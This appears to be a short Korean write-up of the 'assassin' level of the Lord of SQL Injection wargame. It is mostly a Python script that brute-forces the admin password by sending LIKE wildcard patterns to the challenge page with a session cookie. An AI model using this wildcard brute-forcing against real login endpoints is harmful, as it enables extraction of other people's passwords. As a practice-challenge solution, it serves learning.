[load of sql injection] assassin

for문으로 브루트포싱때리면 풀린다.

for문 10개 돌리려다가 그러기엔 많은 횟수라 2개로 admin하고 곂치는 값을 찾았다.

import requests

url = "https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php"

list1 = []

cookies = { 'PHPSESSID' : 'uu98um35otu07audr4q491v6j3' }

for a in range(ord('0'),ord('4')):

    for b in range(ord('0'),ord('4')):

        text_main="".join(list1)

        text = "%"+text_main+chr(a)+chr(b)+"%"

        params = { 'pw' : text}

        res = requests.get( url, params = params, cookies = cookies )

        print(res.text)

print(list1)